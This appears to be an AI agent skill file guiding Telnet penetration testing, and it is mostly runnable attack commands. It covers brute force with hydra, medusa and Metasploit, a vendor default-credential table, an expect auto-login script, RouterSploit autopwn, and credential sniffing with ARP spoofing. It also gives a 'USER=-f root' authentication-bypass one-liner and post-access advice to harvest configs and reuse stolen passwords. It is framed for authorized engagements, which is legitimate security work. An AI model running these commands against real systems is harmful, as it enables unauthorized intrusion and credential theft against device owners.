telnet-pentest

name	telnet-pentest
description	Guides Telnet remote terminal service penetration testing. Use when port 23 is discovered during scanning or when Telnet is identified on a target.

Telnet Pentest

Prerequisites

• Target is in scope (scope/scope-master.txt, engagement ROE).
• Telnet transmits credentials in cleartext. Capture only within authorized scope.

Ports and detection

Port	Service
23/tcp	Telnet (cleartext remote terminal)

Service fingerprint

MSF MCP (preferred):

msf_run_auxiliary_module(
  module_name="auxiliary/scanner/telnet/telnet_version",
  engagement_id="<id>",
  options={"RHOSTS": "<target>", "RPORT": 23, "THREADS": 5}
)

CLI fallback:

nc -vn <target> 23
nmap -n -sV -Pn --script "*telnet* and safe" -p 23 <target>

Workflow

Task Progress:
- [ ] Banner grab and version ID
- [ ] Default credential testing
- [ ] Brute force with vendor wordlists
- [ ] IoT/router expect automation
- [ ] Legacy exploit checks
- [ ] Document findings

Banner and NTLM info

MSF MCP (preferred):

msf_run_auxiliary_module(
  module_name="auxiliary/scanner/telnet/telnet_version",
  engagement_id="<id>",
  options={"RHOSTS": "<target>", "RPORT": 23}
)

CLI fallback:

nmap -p23 --script telnet-encryption,telnet-ntlm-info <target>
# Microsoft Telnet: discloses NetBIOS, DNS, OS build

Authentication brute force

MSF MCP (preferred):

msf_run_auxiliary_module(
  module_name="auxiliary/scanner/telnet/telnet_login",
  engagement_id="<id>",
  options={
    "RHOSTS": "<target>",
    "RPORT": 23,
    "USERNAME": "admin",
    "PASSWORD": "admin",
    "STOP_ON_SUCCESS": true,
    "THREADS": 5
  }
)

CLI fallback:

hydra -L users.txt -P passwords.txt <target> telnet -f -t 4
medusa -h <target> -U users.txt -P passwords.txt -M telnet
nmap -p23 --script telnet-brute --script-args userdb=users.txt,passdb=pass.txt <target>

Vendor default credentials

Vendor / Device	Username	Password
Cisco router/switch	cisco, admin	cisco, admin
D-Link	admin	(blank)
Netgear	admin	password
TP-Link	admin	admin
Ubiquiti	ubnt	ubnt
Zyxel	admin	1234
Huawei	admin	admin
Mikrotik	admin	(blank)
APC PDU	apc	apc
Axis camera	root	pass
Hikvision	admin	12345

Test vendor-specific lists from SecLists Default-Credentials/telnet-betterdefaultpasslist.txt.

IoT / router expect automation

MSF: No direct module; use CLI.

CLI fallback:

# expect script for automated login
cat > telnet_login.exp <<'EOF'
#!/usr/bin/expect -f
set timeout 10
set host [lindex $argv 0]
set user [lindex $argv 1]
set pass [lindex $argv 2]
spawn telnet $host
expect "login:" { send "$user\r" }
expect "Password:" { send "$pass\r" }
expect "#" { send "id\r" }
interact
EOF
chmod +x telnet_login.exp
./telnet_login.exp <target> admin admin

# RouterSploit for embedded telnet
rsf.py
# use scanners/autopwn; set target <target>

Cleartext credential capture

MSF: No direct module; use CLI.

CLI fallback:

sudo tcpdump -i eth0 -A 'tcp port 23'
# Wireshark filter: tcp.port == 23 && (telnet.data || telnet.option)
# Combine with ARP spoofing on switched networks (authorized scope only)

CVE-2026-24061 (GNU inetutils auth bypass)

MSF: No direct module; use CLI.

CLI fallback:

USER='-f root' telnet -a <target>
# telnetd passes USER to /usr/bin/login; -f root skips authentication
telnetd --version
dpkg -l | grep inetutils

Brocade enable login

MSF MCP (preferred):

msf_run_auxiliary_module(
  module_name="auxiliary/scanner/telnet/brocade_enable_login",
  engagement_id="<id>",
  options={"RHOSTS": "<target>", "RPORT": 23, "PASSWORD": "password"}
)

CLI fallback:

# Brocade switches: enable password brute
nmap -p23 --script telnet-brute <target>

Telnet encrypt overflow (legacy)

MSF MCP (preferred):

msf_run_auxiliary_module(
  module_name="auxiliary/scanner/telnet/telnet_encrypt_overflow",
  engagement_id="<id>",
  options={"RHOSTS": "<target>", "RPORT": 23}
)

CLI fallback:

nmap -p23 --script telnet-encrypt <target>
searchsploit telnetd

Known vulnerabilities

CVE	Description
CVE-2026-24061	GNU inetutils telnetd USER=-f root auth bypass
CVE-2024-45698	D-Link DIR-X4860 hardcoded telnet creds
CVE-2023-40478	NETGEAR RAX30 telnet CLI buffer overflow

Post-access

• Full interactive shell (often root on IoT/embedded)
• Harvest configs from routers, switches, legacy servers
• Use captured creds for password reuse on other services

Related skills

• linux-pentest - post-access on Linux telnet hosts
• hardware-pentest - embedded and IoT device testing